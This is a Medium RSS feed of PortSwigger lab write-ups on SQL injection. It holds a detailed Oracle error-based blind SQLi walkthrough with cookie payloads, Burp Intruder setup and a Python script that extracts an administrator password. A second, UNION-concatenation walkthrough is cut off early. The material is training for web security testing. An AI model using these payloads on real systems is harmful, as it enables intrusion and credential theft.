<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Cipher0x00 on Medium]]></title>
        <description><![CDATA[Stories by Cipher0x00 on Medium]]></description>
        <link>https://medium.com/@cipher0x00?source=rss-9366d1f0c9f6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*TbwumS0bNU-xY6Sj</url>
            <title>Stories by Cipher0x00 on Medium</title>
            <link>https://medium.com/@cipher0x00?source=rss-9366d1f0c9f6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 09:03:52 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@cipher0x00/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Blind SQL Injection: Conditional Errors (Oracle)]]></title>
            <link>https://medium.com/@cipher0x00/blind-sql-injection-conditional-errors-oracle-9a400df0cd97?source=rss-9366d1f0c9f6------2</link>
            <guid isPermaLink="false">https://medium.com/p/9a400df0cd97</guid>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Cipher0x00]]></dc:creator>
            <pubDate>Sun, 12 Oct 2025 03:02:51 GMT</pubDate>
            <atom:updated>2025-10-12T03:02:51.396Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*DhkYLyFnNy7jZNCvfxzh-w.jpeg" /></figure><h3>🎯 Goal</h3><p>Extract the administrator’s password character-by-character when there’s NO behavioral difference in responses, only ERROR vs NO ERROR.</p><h3>💡 The Flaw</h3><p><strong>Even harder than conditional responses:</strong></p><ul><li>❌ No data displayed in response</li><li>❌ No “Welcome back” message behavior</li><li>❌ No TRUE/FALSE indicators</li><li>✅ <strong>Only detectable difference:</strong> Error (500) vs No Error (200)</li></ul><p><strong>The technique:</strong> Intentionally trigger errors ONLY when conditions are TRUE, using Oracle’s divide-by-zero error.</p><h3>🔍 The Challenge Evolution</h3><p><strong>Traditional SQLi:</strong> See the data directly<br> <strong>Blind SQLi (Conditional):</strong> TRUE = “Welcome back”, FALSE = no message<br> <strong>Blind SQLi (Error-Based):</strong> TRUE = 500 Error, FALSE = 200 OK</p><p><strong>Why this is harder:</strong></p><pre>Conditional responses: Clear indicator exists (message appears/disappears)<br>Error-based: Must FORCE an error to occur conditionally</pre><h3>🎯 How Error-Based Injection Works</h3><p><strong>The Core Concept:</strong></p><pre>CASE WHEN (condition) THEN TO_CHAR(1/0) ELSE &#39;&#39; END<br>         └───┬────┘          └────┬────┘    └┬┘<br>          Test this      Divide by zero   Return empty<br>                         (causes error)    (no error)</pre><p><strong>If condition is TRUE:</strong> Execute TO_CHAR(1/0) → <strong>500 Error</strong><br> <strong>If condition is FALSE:</strong> Return &#39;&#39; → <strong>200 OK</strong></p><p><strong>Visual:</strong></p><pre>Is first char &#39;w&#39;?<br>  ↓<br>TRUE → Execute 1/0 → Math Error → 500 Response ✓<br>FALSE → Return &#39;&#39; → No Error → 200 Response ✗</pre><h3>⚔️ Exploitation Flow</h3><h3>Step 1: Test for SQL Injection</h3><p><strong>Action:</strong> Break the query with a single quote</p><p><strong>Payload:</strong></p><pre>TrackingId=xyz&#39;</pre><p><em>What happens:</em></p><pre>SELECT * FROM tracking WHERE id=&#39;xyz&#39;&#39;<br>                                    ↑↑<br>                             Unclosed quote = syntax error</pre><p><em>Result:</em> <strong>500 Internal Server Error</strong> → SQL injection exists ✅</p><h3>Step 2: Confirm Error Disappears with Valid Syntax</h3><p><strong>Action:</strong> Close the quote properly</p><p><strong>Payload:</strong></p><pre>TrackingId=xyz&#39;&#39;</pre><p><em>What happens:</em></p><pre>SELECT * FROM tracking WHERE id=&#39;xyz&#39;&#39;&#39;<br>                                    ↑↑<br>                              Escaped quote = valid</pre><p><em>Result:</em> <strong>200 OK</strong> → Error disappears, syntax matters ✅</p><p><em>Why this matters:</em> We can control whether errors occur through syntax.</p><h3>Step 3: Test Basic SQL Query Structure</h3><p><strong>Action:</strong> Try injecting a subquery</p><p><strong>Payload (without table):</strong></p><pre>TrackingId=xyz&#39;||(SELECT &#39;&#39;)||&#39;</pre><p><em>Result:</em> <strong>500 Error</strong> → Still invalid</p><p><em>Why:</em> Some databases require a table name in SELECT statements.</p><h3>Step 4: Identify Database Type (Oracle)</h3><p><strong>Action:</strong> Use Oracle’s required dual table</p><p><strong>Payload:</strong></p><pre>TrackingId=xyz&#39;||(SELECT &#39;&#39; FROM dual)||&#39;</pre><p><em>Breakdown:</em></p><ul><li>|| = Oracle&#39;s concatenation operator</li><li>(SELECT &#39;&#39; FROM dual) = Valid Oracle subquery</li><li>dual = Oracle&#39;s built-in dummy table</li></ul><p><em>Result:</em> <strong>200 OK</strong> → Oracle database confirmed! ✅</p><p><em>Why </em><em>dual?</em> Oracle requires every SELECT to have a FROM clause. dual is a special single-row table for this purpose.</p><h3>Step 5: Verify SQL Injection is Active</h3><p><strong>Action:</strong> Query a non-existent table to trigger an error</p><p><strong>Payload:</strong></p><pre>TrackingId=xyz&#39;||(SELECT &#39;&#39; FROM not-a-real-table)||&#39;</pre><p><em>Result:</em> <strong>500 Error</strong> → SQL injection confirmed! ✅</p><p><em>Why:</em> If we get an error for an invalid table, the database is executing our SQL.</p><h3>Step 6: Verify Users Table Exists</h3><p><strong>Action:</strong> Query the users table</p><p><strong>Payload:</strong></p><pre>TrackingId=xyz&#39;||(SELECT &#39;&#39; FROM users WHERE ROWNUM = 1)||&#39;</pre><p><em>Breakdown:</em></p><ul><li>FROM users = Check if users table exists</li><li>WHERE ROWNUM = 1 = Oracle syntax to limit to 1 row (prevents multiple-row errors)</li></ul><p><em>Result:</em> <strong>200 OK</strong> → Users table exists! ✅</p><p><em>Why ROWNUM = 1?</em> Prevents “query returns more than one row” errors in concatenation.</p><h3>Step 7: Test Conditional Error Triggering</h3><p><strong>Action:</strong> Use CASE to trigger errors conditionally</p><p><strong>Test TRUE condition (1=1):</strong></p><pre>TrackingId=xyz&#39;||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE &#39;&#39; END FROM dual)||&#39;</pre><p><em>Breakdown:</em></p><ul><li>CASE WHEN (1=1) = Condition (always TRUE)</li><li>THEN TO_CHAR(1/0) = Divide by zero (causes error)</li><li>ELSE &#39;&#39; = Return empty string (no error)</li><li>TO_CHAR() = Converts number to string (required in Oracle)</li></ul><p><em>Result:</em> <strong>500 Error</strong> → Conditional error works! ✅</p><p><strong>Test FALSE condition (1=2):</strong></p><pre>TrackingId=xyz&#39;||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE &#39;&#39; END FROM dual)||&#39;</pre><p><em>Result:</em> <strong>200 OK</strong> → No error when FALSE ✅</p><p><strong>Conclusion:</strong> We can trigger errors based on conditions!</p><h3>Step 8: Verify Administrator User Exists</h3><p><strong>Action:</strong> Test if username ‘administrator’ exists</p><p><strong>Payload:</strong></p><pre>TrackingId=xyz&#39;||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE &#39;&#39; END FROM users WHERE username=&#39;administrator&#39;)||&#39;</pre><p><em>Logic:</em></p><ul><li>If username exists → Row is returned → CASE evaluates → 1=1 is TRUE → 1/0 error</li><li>If username doesn’t exist → No rows → Query doesn’t execute → No error</li></ul><p><em>Result:</em> <strong>500 Error</strong> → Administrator user exists! ✅</p><h3>Step 9: Determine Password Length</h3><p><strong>Action:</strong> Test password length incrementally</p><p><strong>Is password &gt; 1 character?</strong></p><pre>TrackingId=xyz&#39;||(SELECT CASE WHEN LENGTH(password)&gt;1 THEN TO_CHAR(1/0) ELSE &#39;&#39; END FROM users WHERE username=&#39;administrator&#39;)||&#39;</pre><p><em>Result:</em> <strong>500 Error</strong> → TRUE, password &gt; 1 char</p><p><strong>Is password &gt; 2 characters?</strong></p><pre>TrackingId=xyz&#39;||(SELECT CASE WHEN LENGTH(password)&gt;2 THEN TO_CHAR(1/0) ELSE &#39;&#39; END FROM users WHERE username=&#39;administrator&#39;)||&#39;</pre><p><em>Result:</em> <strong>500 Error</strong> → TRUE, password &gt; 2 chars</p><p><strong>Continue testing: &gt; 3, &gt; 4, &gt; 5… &gt; 19, &gt; 20</strong></p><p><strong>Is password &gt; 20 characters?</strong></p><pre>TrackingId=xyz&#39;||(SELECT CASE WHEN LENGTH(password)&gt;20 THEN TO_CHAR(1/0) ELSE &#39;&#39; END FROM users WHERE username=&#39;administrator&#39;)||&#39;</pre><p><em>Result:</em> <strong>200 OK</strong> → FALSE, password is NOT &gt; 20</p><p><strong>Conclusion:</strong> Password is exactly <strong>20 characters long</strong> ✅</p><h3>Step 10: Extract Password Character-by-Character</h3><p><strong>Action:</strong> Test each character position with all possible values</p><p><strong>Test Position 1, Character ‘a’:</strong></p><pre>TrackingId=xyz&#39;||(SELECT CASE WHEN SUBSTR(password,1,1)=&#39;a&#39; THEN TO_CHAR(1/0) ELSE &#39;&#39; END FROM users WHERE username=&#39;administrator&#39;)||&#39;</pre><p><em>Breakdown:</em></p><ul><li>SUBSTR(password,1,1) = Extract 1st character (Oracle uses SUBSTR, not SUBSTRING)</li><li>=&#39;a&#39; = Test if it equals &#39;a&#39;</li><li>If TRUE → 1/0 error → <strong>500 Error</strong></li><li>If FALSE → Return ‘’ → <strong>200 OK</strong></li></ul><p><em>Result:</em> <strong>200 OK</strong> → First character is NOT ‘a’</p><p><strong>Continue testing: ‘b’, ‘c’, ‘d’… until:</strong></p><p><strong>Test Position 1, Character ‘w’:</strong></p><pre>TrackingId=xyz&#39;||(SELECT CASE WHEN SUBSTR(password,1,1)=&#39;w&#39; THEN TO_CHAR(1/0) ELSE &#39;&#39; END FROM users WHERE username=&#39;administrator&#39;)||&#39;</pre><p><em>Result:</em> <strong>500 Error</strong> → First character IS ‘w’! ✅</p><p><strong>Repeat for positions 2–20 until full password extracted.</strong></p><h3>Step 11: Automate with Burp Intruder</h3><p><strong>Action:</strong> Use Cluster Bomb attack to test all positions and characters</p><p><strong>Setup Intruder:</strong></p><pre>TrackingId=xyz&#39;||(SELECT CASE WHEN SUBSTR(password,§1§,1)=&#39;§a§&#39; THEN TO_CHAR(1/0) ELSE &#39;&#39; END FROM users WHERE username=&#39;administrator&#39;)||&#39;</pre><p><strong>Payload Set 1 (Position):</strong> Numbers 1–20<br> <strong>Payload Set 2 (Character):</strong> a-z, 0–9</p><p><strong>Attack Type:</strong> Cluster Bomb (720 requests total)</p><p><strong>Detection:</strong> Look for <strong>500 status codes</strong> = correct character</p><p><strong>Results filtering:</strong></p><ol><li>Filter by Status = 500</li><li>Sort by Payload 1 (position)</li><li>Read Payload 2 (character) for each position</li></ol><p><strong>Extracted password:</strong> wjfuc497wlhbt60cbbf (example)</p><h3>Step 12: Login as Administrator</h3><p><strong>Action:</strong> Use the extracted password</p><ol><li>Navigate to /login</li><li>Enter:</li></ol><ul><li><strong>Username:</strong> administrator</li><li><strong>Password:</strong> wjfuc497wlhbt60cbbf</li></ul><ol><li>Click Login</li></ol><p><strong>Lab solved. ✅</strong></p><h3>🧠 Key Takeaways</h3><ol><li><strong>Error-based blind SQLi = forced error conditions</strong> (not natural errors)</li><li><strong>Oracle specifics:</strong></li></ol><ul><li>Requires FROM dual in SELECT</li><li>Uses SUBSTR() not SUBSTRING()</li><li>Uses || for concatenation</li><li>Uses ROWNUM = 1 not LIMIT 1</li></ul><ol><li><strong>CASE WHEN + divide-by-zero = conditional error trigger</strong></li><li><strong>Status codes are your only indicator:</strong> 500 = TRUE, 200 = FALSE</li><li><strong>720 requests for 20-char password</strong> (20 positions × 36 characters)</li></ol><h3>🎯 Oracle vs PostgreSQL Syntax</h3><p><strong>Key Differences:</strong></p><h3>Dummy Table Requirement</h3><pre>PostgreSQL: SELECT &#39;&#39; (no FROM needed)<br>Oracle:     SELECT &#39;&#39; FROM dual (FROM required)</pre><h3>String Extraction</h3><pre>PostgreSQL: SUBSTRING(password, 1, 1)<br>Oracle:     SUBSTR(password, 1, 1)</pre><h3>Row Limiting</h3><pre>PostgreSQL: LIMIT 1<br>Oracle:     WHERE ROWNUM = 1</pre><h3>Concatenation</h3><pre>PostgreSQL: ||<br>Oracle:     || (same)</pre><h3>Error Triggering</h3><pre>PostgreSQL: 1/0 (works directly)<br>Oracle:     TO_CHAR(1/0) (requires type conversion)</pre><h3>Length Function</h3><pre>PostgreSQL: LENGTH(password)<br>Oracle:     LENGTH(password) (same)</pre><h3>🛠️ Burp Suite Workflow</h3><h3>Manual Testing (Repeater)</h3><ol><li>Intercept TrackingId cookie request</li><li>Send to Repeater</li><li>Test single quote → 500 Error</li><li>Test double quote → 200 OK</li><li>Identify Oracle with dual table</li><li>Test conditional errors with CASE</li><li>Find password length</li><li>Test first few characters manually</li></ol><h3>Automated Extraction (Intruder)</h3><ol><li>Send to Intruder</li><li>Set Attack Type: <strong>Cluster Bomb</strong></li><li>Mark two payload positions:</li></ol><ul><li>Position number (1–20)</li><li>Character to test (a-z, 0–9)</li></ul><p>4. Configure Payloads:</p><ul><li>Set 1: Numbers 1–20</li><li>Set 2: Simple list a-z, 0–9</li></ul><p>5. Launch attack (720 requests)</p><p>6. Filter by Status = 500</p><p>7. Sort by Payload 1 (position)</p><p>8. Extract Payload 2 (character) for each position</p><h3>📌 Quick Reference Card</h3><h3>Attack Flow Checklist</h3><pre>☐ Step 1: Confirm SQL injection<br>   TrackingId=xyz&#39;  →  500 Error</pre><pre>☐ Step 2: Verify syntax matters<br>   TrackingId=xyz&#39;&#39;  →  200 OK (error gone)</pre><pre>☐ Step 3: Identify database type<br>   TrackingId=xyz&#39;||(SELECT &#39;&#39; FROM dual)||&#39;  →  200 OK = Oracle</pre><pre>☐ Step 4: Verify table exists<br>   TrackingId=xyz&#39;||(SELECT &#39;&#39; FROM users WHERE ROWNUM=1)||&#39;</pre><pre>☐ Step 5: Test conditional errors<br>   CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE &#39;&#39; END<br>   →  500 Error (TRUE works)</pre><pre>☐ Step 6: Verify user exists<br>   CASE WHEN (1=1)... FROM users WHERE username=&#39;administrator&#39;<br>   →  500 Error (admin exists)</pre><pre>☐ Step 7: Find password length<br>   CASE WHEN LENGTH(password)&gt;20 THEN TO_CHAR(1/0)...<br>   →  200 OK (not &gt;20, so length = 20)</pre><pre>☐ Step 8: Extract each character<br>   CASE WHEN SUBSTR(password,1,1)=&#39;w&#39; THEN TO_CHAR(1/0)...<br>   →  500 Error = first char is &#39;w&#39;</pre><pre>☐ Step 9: Login with extracted password</pre><h3>Oracle-Specific Syntax Guide</h3><pre>Dummy Table (Required):<br>SELECT &#39;&#39; FROM dual<br>↑ Must include FROM clause</pre><pre>String Extraction:<br>SUBSTR(password, position, length)<br>SUBSTR(password, 1, 1)  →  First character<br>SUBSTR(password, 5, 1)  →  Fifth character</pre><pre>Row Limiting:<br>WHERE ROWNUM = 1<br>↑ Oracle&#39;s version of LIMIT 1</pre><pre>Error Triggering:<br>TO_CHAR(1/0)<br>↑ Must wrap divide-by-zero in TO_CHAR()</pre><pre>String Concatenation:<br>&#39;text1&#39; || &#39;text2&#39;<br>↑ Same as PostgreSQL</pre><pre>Length Function:<br>LENGTH(password)<br>↑ Same as PostgreSQL</pre><h3>CASE Statement Anatomy</h3><pre>SELECT CASE <br>  WHEN (condition) <br>  THEN TO_CHAR(1/0)    ← Executed if TRUE (causes 500 error)<br>  ELSE &#39;&#39;              ← Executed if FALSE (returns empty, no error)<br>END <br>FROM dual</pre><pre>Flow:<br>1. Evaluate condition (e.g., SUBSTR(password,1,1)=&#39;w&#39;)<br>2. If TRUE: Execute THEN clause → 1/0 → Math error → 500<br>3. If FALSE: Execute ELSE clause → &#39;&#39; → No error → 200</pre><pre>Status Code Mapping:<br>500 Error  =  Condition is TRUE ✓<br>200 OK     =  Condition is FALSE ✗</pre><h3>Status Code Decoder</h3><pre>500 Internal Server Error  →  Condition is TRUE (character match!)<br>200 OK                     →  Condition is FALSE (wrong character)<br>Syntax Error (500)         →  Malformed query (check syntax)<br>No response change         →  Not vulnerable (try other methods)</pre><h3>Character Testing Strategy</h3><pre>Efficient Testing Order:<br>1. Lowercase letters first: a-z (most common in passwords)<br>2. Numbers: 0-9<br>3. If uppercase allowed: A-Z<br>4. Special chars: !@#$%^&amp;* (if needed)</pre><pre>For this lab:<br>Charset: abcdefghijklmnopqrstuvwxyz0123456789<br>Total: 36 characters per position<br>Positions: 20<br>Requests: 20 × 36 = 720</pre><pre>Time Estimates:<br>Manual: 720 requests × 5 sec = 60 minutes<br>Burp Pro: ~3-5 minutes (with threading)<br>Python: ~2-3 minutes (multithreaded)</pre><h3>Burp Intruder Configuration</h3><pre>Attack Type: Cluster Bomb<br>↑ Tests all combinations of payloads</pre><pre>Payload Positions:<br>TrackingId=xyz&#39;||(SELECT CASE WHEN SUBSTR(password,§1§,1)=&#39;§a§&#39; <br>THEN TO_CHAR(1/0) ELSE &#39;&#39; END FROM users <br>WHERE username=&#39;administrator&#39;)||&#39;<br>                                          └─┬─┘  └┬┘<br>                                    Position  Character</pre><pre>Payload Set 1 - Position Number:<br>Type: Numbers<br>Range: 1 to 20<br>Step: 1</pre><pre>Payload Set 2 - Character to Test:<br>Type: Simple list<br>Add: a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9<br>Total: 36 payloads</pre><pre>Total Requests: 20 × 36 = 720</pre><pre>Results Analysis:<br>1. Click &quot;Status&quot; column header to sort<br>2. Look for 500 status codes (TRUE matches)<br>3. Sort by Payload 1 to order by position<br>4. Read Payload 2 for the character at each position<br>5. Reconstruct password: position 1=&#39;w&#39;, position 2=&#39;j&#39;, etc.</pre><h3>Error Types Guide</h3><pre>Error Category: SQL Syntax Error<br>Example: TrackingId=xyz&#39;<br>Cause: Unclosed quote<br>Status: 500<br>Meaning: SQL injection exists</pre><pre>Error Category: Divide by Zero (Intentional)<br>Example: TO_CHAR(1/0)<br>Cause: Conditional error trigger<br>Status: 500<br>Meaning: Condition is TRUE ✓</pre><pre>Error Category: Invalid Table<br>Example: SELECT FROM not_a_table<br>Cause: Table doesn&#39;t exist<br>Status: 500<br>Meaning: SQL is being executed</pre><pre>Error Category: No Error<br>Example: Valid syntax, FALSE condition<br>Cause: Condition evaluates to FALSE<br>Status: 200<br>Meaning: Condition is FALSE ✗</pre><h3>Password Extraction Process</h3><pre>Start: Password = _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ (20 positions)</pre><pre>Position 1: Test a-z, 0-9<br>  &#39;a&#39;? → 200 (no)<br>  &#39;b&#39;? → 200 (no)<br>  &#39;w&#39;? → 500 (YES!) ✓<br>Result: w _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _</pre><pre>Position 2: Test a-z, 0-9<br>  &#39;a&#39;? → 200 (no)<br>  &#39;j&#39;? → 500 (YES!) ✓<br>Result: w j _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _</pre><pre>Continue for all 20 positions...</pre><pre>Final Password: w j f u c 4 9 7 w l h b t 6 0 c b b f</pre><h3>Troubleshooting Guide</h3><pre>Problem: All requests return 200 OK<br>  → Check CASE syntax (missing TO_CHAR?)<br>  → Verify condition is reachable (user exists?)<br>  → Test with known TRUE condition first (1=1)</pre><pre>Problem: All requests return 500 Error<br>  → Syntax error in base payload<br>  → Test basic injection first: &#39;||(SELECT &#39;&#39; FROM dual)||&#39;<br>  → Check for unclosed quotes or parentheses</pre><pre>Problem: No consistent pattern in responses<br>  → Application might be caching responses<br>  → Add random value to force new requests<br>  → Check if TrackingId is actually being processed</pre><pre>Problem: Intruder shows mixed results for same character<br>  → Sort carefully by Payload 1 (position)<br>  → Filter strictly on Status = 500<br>  → Verify attack type is Cluster Bomb, not Pitchfork</pre><pre>Problem: Password doesn&#39;t work after extraction<br>  → Double-check character order (position 1, 2, 3...)<br>  → Look for typos in manual transcription<br>  → Verify all 20 positions were tested<br>  → Check for case sensitivity (should be lowercase only)</pre><h3>Oracle vs Other Databases — Error Triggering</h3><pre>Oracle (This Lab):<br>CASE WHEN condition THEN TO_CHAR(1/0) ELSE &#39;&#39; END<br>↑ Requires TO_CHAR wrapper</pre><pre>PostgreSQL:<br>CASE WHEN condition THEN CAST(1/0 AS TEXT) ELSE &#39;&#39; END<br>↑ Or use 1/(CASE WHEN condition THEN 0 ELSE 1 END)</pre><pre>MySQL:<br>CASE WHEN condition THEN 1/0 ELSE &#39;&#39; END<br>↑ Direct division works</pre><pre>MS SQL:<br>CASE WHEN condition THEN 1/0 ELSE &#39;&#39; END<br>↑ Direct division works</pre><pre>Why TO_CHAR in Oracle?<br>Oracle requires type conversion when concatenating numbers<br>1/0 alone would cause type mismatch, not math error in context<br>TO_CHAR() forces evaluation and error triggering</pre><h3>Real-World Optimization Tips</h3><pre>Binary Search for Length:<br>Instead of: &gt;1, &gt;2, &gt;3, &gt;4... (20 requests)<br>Try: &gt;10 (TRUE), &gt;15 (TRUE), &gt;20 (FALSE), &gt;17 (TRUE), &gt;19 (TRUE), &gt;20 (FALSE)<br>Result: Length = 20 (only ~6 requests)</pre><pre>Position Parallelization:<br>Don&#39;t test positions sequentially<br>Use Cluster Bomb to test all positions simultaneously<br>Saves time: 20 sequential attacks → 1 combined attack</pre><pre>Character Frequency:<br>Test common letters first: e, t, a, o, i, n, s, r, h<br>For alphanumeric passwords, numbers often at end<br>Pattern: [letters][letters][numbers]</pre><pre>Response Caching:<br>Add unique value to bypass cache:<br>TrackingId=xyz_[random]&#39;||...<br>Ensures fresh evaluation each time</pre><h3>Python Script Alternative</h3><pre># Pseudo-code for automation:</pre><pre>import requests</pre><pre>url = &quot;https://target.com&quot;<br>chars = &quot;abcdefghijklmnopqrstuvwxyz0123456789&quot;<br>password = &quot;&quot;</pre><pre># Determine length<br>for i in range(1, 50):<br>    payload = f&quot;&#39;||(SELECT CASE WHEN LENGTH(password)&gt;{i} &quot;<br>    payload += f&quot;THEN TO_CHAR(1/0) ELSE &#39;&#39; END FROM users &quot;<br>    payload += f&quot;WHERE username=&#39;administrator&#39;)||&#39;&quot;<br>    <br>    response = requests.get(url, cookies={&quot;TrackingId&quot;: f&quot;xyz{payload}&quot;})<br>    if response.status_code == 200:  # FALSE = not greater<br>        length = i<br>        break</pre><pre># Extract each character<br>for position in range(1, length + 1):<br>    for char in chars:<br>        payload = f&quot;&#39;||(SELECT CASE WHEN SUBSTR(password,{position},1)=&#39;{char}&#39; &quot;<br>        payload += f&quot;THEN TO_CHAR(1/0) ELSE &#39;&#39; END FROM users &quot;<br>        payload += f&quot;WHERE username=&#39;administrator&#39;)||&#39;&quot;<br>        <br>        response = requests.get(url, cookies={&quot;TrackingId&quot;: f&quot;xyz{payload}&quot;})<br>        if response.status_code == 500:  # TRUE = match!<br>            password += char<br>            print(f&quot;Position {position}: {char}&quot;)<br>            break</pre><pre>print(f&quot;Password: {password}&quot;)</pre><h3>⚠️ Common Mistakes</h3><p><strong>Mistake 1: Forgetting TO_CHAR() wrapper</strong></p><pre>✗ CASE WHEN condition THEN 1/0 ELSE &#39;&#39; END<br>  (Oracle type mismatch error, not conditional)</pre><pre>✓ CASE WHEN condition THEN TO_CHAR(1/0) ELSE &#39;&#39; END<br>  (Proper conditional error trigger)</pre><p><strong>Mistake 2: Using SUBSTRING instead of SUBSTR</strong></p><pre>✗ SUBSTRING(password, 1, 1)  (PostgreSQL syntax)<br>✓ SUBSTR(password, 1, 1)     (Oracle syntax)</pre><p><strong>Mistake 3: Forgetting FROM dual</strong></p><pre>✗ SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE &#39;&#39; END<br>  (Oracle requires FROM clause)</pre><pre>✓ SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE &#39;&#39; END FROM dual<br>  (Valid Oracle syntax)</pre><p><strong>Mistake 4: Using LIMIT instead of ROWNUM</strong></p><pre>✗ SELECT &#39;&#39; FROM users WHERE username=&#39;admin&#39; LIMIT 1<br>  (PostgreSQL syntax)</pre><pre>✓ SELECT &#39;&#39; FROM users WHERE username=&#39;admin&#39; AND ROWNUM = 1<br>  (Oracle syntax)</pre><p><strong>Mistake 5: Not URL-encoding in Burp</strong></p><pre>✗ Raw payload with spaces and special chars<br>✓ Press Ctrl+U to URL-encode before sending</pre><p><strong>Mistake 6: Wrong Intruder attack type</strong></p><pre>✗ Sniper (only tests one payload set)<br>✗ Pitchfork (pairs payloads, not all combinations)<br>✓ Cluster Bomb (tests all combinations of position × character)</pre><p><strong>Mistake 7: Misreading Intruder results</strong></p><pre>✗ Looking at response length (not reliable here)<br>✗ Sorting alphabetically (positions out of order)<br>✓ Filter by Status = 500, then sort by Payload 1 (position)</pre><h3>🔬 Understanding the Error Flow</h3><p><strong>What happens behind the scenes:</strong></p><p><strong>When testing SUBSTR(password,1,1)=’w’:</strong></p><pre>Request:<br>TrackingId=xyz&#39;||(SELECT CASE WHEN SUBSTR(password,1,1)=&#39;w&#39; <br>THEN TO_CHAR(1/0) ELSE &#39;&#39; END FROM users WHERE username=&#39;administrator&#39;)||&#39;</pre><pre>Database execution:<br>1. Extract 1st char: SUBSTR(password,1,1) → &#39;w&#39;<br>2. Compare: &#39;w&#39; = &#39;w&#39; → TRUE<br>3. CASE evaluates: THEN TO_CHAR(1/0)<br>4. Execute: 1/0 → Math error!<br>5. Oracle throws: ORA-01476: divisor is equal to zero<br>6. App catches error, returns: 500 Internal Server Error</pre><pre>Response: 500 (TRUE match!)</pre><p><strong>When testing SUBSTR(password,1,1)=’a’:</strong></p><pre>Request:<br>Same payload but testing &#39;a&#39; instead of &#39;w&#39;</pre><pre>Database execution:<br>1. Extract 1st char: SUBSTR(password,1,1) → &#39;w&#39;<br>2. Compare: &#39;w&#39; = &#39;a&#39; → FALSE<br>3. CASE evaluates: ELSE &#39;&#39;<br>4. Execute: Return empty string &#39;&#39;<br>5. No error occurs<br>6. App returns: 200 OK</pre><pre>Response: 200 (FALSE, not a match)</pre><h3>🎓 Why This Technique Exists</h3><p><strong>The Problem:</strong> Some applications don’t show ANY difference in behavior:</p><ul><li>No “Welcome back” message</li><li>No data displayed</li><li>No content-length changes</li><li>No timing differences (yet — see time-based injection)</li></ul><p><strong>The Solution:</strong> Force the application to behave differently by:</p><ol><li>Creating a condition (CASE WHEN)</li><li>Causing an error ONLY when TRUE (1/0)</li><li>Observing the error in status codes (500 vs 200)</li></ol><p><strong>Real-world scenario:</strong></p><pre>Banking app with blind SQLi in session token<br>- Can&#39;t see query results<br>- No behavioral indicators<br>- But errors are logged/displayed differently<br>- Error-based injection becomes the only option</pre><p><em>Remember:</em> Error-based blind SQL injection is the “nuclear option” when nothing else works. It’s noisy (generates errors in logs), slow (720+ requests), but effective when the application gives you no other clues. Master Oracle syntax differences and the CASE WHEN pattern — they’re critical for this technique.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9a400df0cd97" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL Injection: Retrieving Multiple Values in a Single Column]]></title>
            <link>https://medium.com/@cipher0x00/sql-injection-retrieving-multiple-values-in-a-single-column-411fdb4f912e?source=rss-9366d1f0c9f6------2</link>
            <guid isPermaLink="false">https://medium.com/p/411fdb4f912e</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Cipher0x00]]></dc:creator>
            <pubDate>Sat, 11 Oct 2025 15:37:16 GMT</pubDate>
            <atom:updated>2025-10-11T15:37:16.017Z</atom:updated>
            <content:encoded><![CDATA[<h3>SQLInjectionSQL Injection: Retrieving Multiple Values in a Single Column</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*DhkYLyFnNy7jZNCvfxzh-w.jpeg" /><figcaption>SQLInjection</figcaption></figure><h3>🎯 Goal</h3><p>Extract both usernames AND passwords from the users table when only ONE column is text-compatible, using string concatenation.</p><h3>💡 The Challenge</h3><p><strong>The Problem:</strong></p><ul><li>Original query has 2 columns</li><li>Only 1 column accepts text data (the other might be INT for IDs)</li><li>You need to extract 2 pieces of data (username + password)</li><li><strong>Solution:</strong> Concatenate both values into a single string!</li></ul><p><strong>Without concatenation:</strong></p><pre>&#39; UNION SELECT NULL,username FROM users--   ← Only usernames<br>&#39; UNION SELECT NULL,password FROM users--   ← Only passwords (separate query)</pre><p><strong>With concatenation:</strong></p><pre>&#39; UNION SELECT NULL,username||&#39;~&#39;||password FROM users--  ← Both at once! ✅</pre><h3>🔍 Why Concatenation Works</h3><p><strong>String concatenation</strong> combines multiple strings into one:</p><pre>username = &quot;admin&quot;<br>password = &quot;s3cr3t&quot;</pre><pre>Concatenated = &quot;admin~s3cr3t&quot;<br>              └──┬──┘ └──┬──┘<br>              username  password</pre><p>The ~ (delimiter) separates the values so you can tell where username ends and password begins.</p><h3>⚔️ Exploitation Flow</h3><h3>Step 1: Test for SQL Injection</h3><p><strong>Payload:</strong></p><pre>Lifestyle&#39;</pre><p><em>Result:</em> <strong>500 Error</strong> → SQL 